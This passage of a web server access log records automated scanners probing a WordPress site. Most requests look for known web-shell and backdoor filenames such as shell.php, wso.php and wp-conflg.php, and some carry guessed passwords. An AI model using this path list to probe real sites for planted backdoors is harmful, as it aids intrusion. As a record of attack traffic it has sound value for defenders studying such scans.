/wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:03 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:05 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:05 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:05 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:06 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:06 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:07 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:07 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:08 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:08 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:09 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:09 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:10 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:10 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:11 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:11 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:11 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:11 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:12 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [14/Apr/2025:23:51:12 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:51:12 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:13 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:15 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:15 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:16 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:17 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:18 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:19 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:21 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:22 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:22 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:24 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:26 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:26 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:28 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:29 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:31 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:32 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:33 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:35 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:39 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:41 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:42 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:42 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:44 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:45 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:46 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:46 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:48 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:50 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:51 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:52 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:53 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:54 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:55 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:57 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:58 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:51:59 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:00 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:01 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:03 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:04 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:05 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:09 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:10 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:12 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:14 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:15 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:18 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:20 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:22 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:23 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:24 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:25 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:27 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:28 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:29 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:30 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:31 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:32 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:32 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:33 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:34 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:35 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:37 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:37 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:39 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:39 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:39 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:40 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:41 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:42 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:42 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:43 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:44 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:46 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:47 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:47 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:48 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:48 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:49 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:50 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:50 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:51 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:51 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:52 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:52 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:53 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:54 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:54 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:55 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:55 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:57 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:57 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:58 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:52:59 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:00 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:01 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:02 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:03 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:04 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:06 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:06 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:07 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:09 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.214.0.180 - - [14/Apr/2025:23:53:10 -0400] "GET /img/porto-home/10_geo-chem-carry-bag-design.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 40.69.222.47 - - [14/Apr/2025:23:53:10 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:11 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:12 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:13 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:15 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:16 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:16 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:17 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:18 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:19 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:20 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:22 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:24 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:24 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:26 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:30 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:32 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:34 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:35 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:37 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:38 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:39 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:40 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:41 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:42 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:42 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:43 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:44 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:44 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:45 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:45 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:46 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:47 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:48 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:48 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:49 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:50 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:51 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:52 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:52 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:53 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:54 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:55 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:56 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:57 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:57 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:58 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:53:59 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:00 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:00 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:02 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:03 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:03 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:03 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:04 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:05 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:05 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:06 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:06 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:07 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:08 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:09 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:10 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:11 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:12 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:13 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:14 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:15 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:16 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:17 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:18 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:19 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:19 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:22 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:24 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:25 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:26 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:27 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:27 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:29 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:29 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:30 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:31 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:33 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:34 -0400] "GET /wp-content/mu-plugins-old/admin.php 